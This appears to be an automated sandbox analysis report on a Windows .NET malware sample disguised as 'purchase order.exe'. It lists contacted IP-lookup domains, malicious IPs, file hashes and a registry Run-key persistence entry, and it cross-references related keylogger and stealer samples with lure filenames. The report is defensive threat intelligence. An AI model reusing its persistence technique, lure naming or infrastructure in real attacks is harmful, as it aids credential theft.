http://checkip.dyndns.org	InstallUtil.exe, 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A19000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A68000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E85000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DA9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	purchase order.exe, 00000000.00000002.2562619259.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33x	InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	purchase order.exe, 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.86.66.70	unknown	United States	9009	M247GB	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519454
Start date and time:	2024-09-26 15:09:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	purchase order.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@3/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 92% Number of executed functions: 532 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 6644 because it is empty
Execution Graph export aborted for target InstallUtil.exe, PID 7140 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: purchase order.exe

Simulations

Behavior and APIs

Time	Type	Description
09:11:04	API Interceptor	1235687x Sleep call for process: InstallUtil.exe modified
15:10:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Bohw C:\Users\user\AppData\Roaming\Bohw.exe
15:11:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Bohw C:\Users\user\AppData\Roaming\Bohw.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.86.66.70	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	172.86.66.70/y3/Lusnteor.mp3
	Ref_5010_103.exe	Get hash	malicious	AgentTesla	Browse	172.86.66.70/y3/Ytwqwkbwu.vdf
	Ship_Doc_18505.exe	Get hash	malicious	AgentTesla	Browse	172.86.66.70/y3/Jwxjanz.dat
188.114.96.3	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	http://twint.ch-daten.com/de/receive/bank/sgkb/79469380	Get hash	malicious	Unknown	Browse	twint.ch-daten.com/socket.io/?EIO=4&transport=polling&t=P8hxwsc
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	www.444317.com/
	Sept order.doc	Get hash	malicious	FormBook	Browse	www.rajalele.xyz/bopi/?1b=1soTE/gd/ZpFZmuHMdkP9CmM1erq3xsEeOQ9nFH+Tv+qMlBfxeqrLL5BDR/2l62DivVTHQ==&BfL=LxlT-
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php
	https://laurachenel-my.sharepoint.com/:f:/p/durae/EqNLWpSMEBRJoccjxMrYR9cBuepxDM4GGslgNeOpyvFENQ?e=1C1jRH	Get hash	malicious	Unknown	Browse	hdcy.emcl00.com/qRCfs/
	PO23100072.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	RFQ urrgently.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	TNT AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	www.weight-loss-003.today/jd21/?Bl=8pSpW470ix&FjUh5xw=8QhlJgbwFiNHSz6ilu/NO/QAEgywgMMp9yv6yRtWAY1NzG57DnL+pjMXQcNu92teMaGp
158.101.44.242	SecuriteInfo.com.Win32.CrypterX-gen.6879.11943.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Payment Slip.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Pedido de GmbH.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	TT copy for SO-2409-032.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	VbcXXnmIwPPhh.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	VbcXXnmIwPPhh.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Win32.CrypterX-gen.6879.11943.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	172.66.0.235
	https://www.google.to/url?url=https://bxaxlsoggszcwwbz&nzc=vvjpqcc&suvkdk=cmz&kwdec=vutety&cbb=sslsceg&pagnn=fuhmpw&dkqf=mwwhastk&ffmvozjupo=yqbyougxxo&q=amp/gm5bqhj.g%C2%ADb%C2%ADe%C2%ADym%C2%ADw%C2%ADc%C2%ADg%C2%ADv%C2%ADk%C2%ADb%C2%ADd%C2%ADevll.com%E2%80%8B/cbvogermm&clnw=xokmakg&dhxrdhh=zgwr&tievm=savxww&gfpizxn=fnv	Get hash	malicious	HTMLPhisher	Browse	104.21.235.70
	http://erptanacsadas.hu.pages.services/secure-business-document/?ts=1726767567620	Get hash	malicious	HtmlDropper	Browse	188.114.96.3
	https://forms.office.com/e/jUjy5zj0tM	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	You have a held messages (dawie@ddebeer.co.za).msg	Get hash	malicious	Unknown	Browse	1.1.1.1
	Payment-Remittance_pdfrexel.se959575798273.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	WG Viridium-gruppe requests your signature on 'Viridium-gruppe Employees Benefit Enrollment.pdf'.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	188.114.96.3
ORACLE-BMC-31898US	SecuriteInfo.com.Win32.CrypterX-gen.6879.11943.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Payment Slip.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
M247GB	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	172.86.66.70
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	91.202.233.158
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	91.202.233.158
	SecuriteInfo.com.Linux.Siggen.9999.31454.15725.elf	Get hash	malicious	Unknown	Browse	158.46.140.169
	BNE400266900B - RLS SO# W317pdf.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	188.114.96.3
	VbcXXnmIwPPhh.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1wD-DOvNLKuM60BZj5TLzFjKI87o3EE-OVAmvFF0fxPk/preview?usp=sharing	Get hash	malicious	Unknown	Browse	188.114.96.3
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

Process:	C:\Users\user\Desktop\purchase order.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	451704
Entropy (8bit):	5.009812829335813
Encrypted:	false
SSDEEP:	1536:TzOp02gL1jszmCCCCCpCCCCCTdvCCCCCCCCCCC3CCCCCCCCfFIeCCCCCCCCCCCCv:TzSY+zCdsP6GBxhDCovrU/s
MD5:	B0783A18DE531B50DEBFE5252BC25558
SHA1:	BC564E0CEB0E8F99602247BCC559A583F77DB8CE
SHA-256:	018FF37BA8B41D1AE1669D3FD841351F4197F9594C7F05512B5A99CFDA88549F
SHA-512:	927FF7D89D9820745AB5208793444ADE73DA993B4C482F31297E093CB9D3CEE96A8AE0808C1A4813612D61B1EBA4E7D40BC7D9C037F4E337F5DCCC4228C25E46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................f...N.......... ........@.. ....................... ............`.................................\|...O........K..............x............................................................ ............... ..H............text....d... ...f.................. ..`.rsrc....K.......L...h..............@..@.reloc..............................@..B........................H.......\8.. L...........................................................(.....(......().....}......}......}......o7...}......o8.....{......{....o7....;.....{....9.....{....o.....{.....{....o8.....{....(...u4...%:....&.8....(+...u....J.{.....s,...(-...&...s4....~.....~......(=...:&....~....{....;.....u....:....r_..ps3...z2.{....o/...2.{....o0...J.(....}.....()...6.{.....o1...:.{......o...+>.{.......o...+Zr...p.{....r...p(4...Vs)........sA........*:.().....

C:\Users\user\AppData\Roaming\Bohw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\purchase order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.009812829335813
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	purchase order.exe
File size:	451'704 bytes
MD5:	b0783a18de531b50debfe5252bc25558
SHA1:	bc564e0ceb0e8f99602247bcc559a583f77db8ce
SHA256:	018ff37ba8b41d1ae1669d3fd841351f4197f9594c7f05512b5a99cfda88549f
SHA512:	927ff7d89d9820745ab5208793444ade73da993b4c482f31297e093cb9d3cee96a8ae0808c1a4813612d61b1eba4e7d40bc7d9c037f4e337f5dccc4228c25e46
SSDEEP:	1536:TzOp02gL1jszmCCCCCpCCCCCTdvCCCCCCCCCCC3CCCCCCCCfFIeCCCCCCCCCCCCv:TzSY+zCdsP6GBxhDCovrU/s
TLSH:	A5A4BCDE06F4000FE6184AF1EC59AFE04560EDB96A52C661BD40FDCFBE723E510626E6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................f...N........... ........@.. ....................... ............`................................

File Icon


Icon Hash:	c6a9989ae8ccb6cc

Static PE Info

General

Entrypoint:	0x4084ce
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F3BBB9 [Wed Sep 25 07:28:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/10/2023 11:33:01 19/10/2024 11:33:01
Subject Chain	CN=Helpfeel Inc, OU=\u958b\u767a\u90e8, O=Helpfeel Inc, STREET=110-16 Goshohachiman-cho, L="Kyoto-shi, Kamigyo-ku", S=Kyoto, C=JP, OID.1.3.6.1.4.1.311.60.2.1.3=JP, SERIALNUMBER=1300-01-068185, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	0D966BC363CD56690E80EE36566E3C7B
Thumbprint SHA-1:	A955D2CBD3F7D394053A3C5219A93AF13917EA0D
Thumbprint SHA-256:	2362CABC8423B1EE01F2DE0F40197E509F8FA6DCF631E687EDB44792B241E526
Serial:	138A5335DB02BAFDC71DC47A

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x847c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x64bea	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x6b600	0x2e78	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x64d4	0x6600	65e490fc77ad1f13236ff89a50ebc0e7	False	0.4517080269607843	data	5.52896679354902	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x64bea	0x64c00	69fea831a02747cd04958c435540eace	False	0.09997770626550868	data	4.71844439491928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
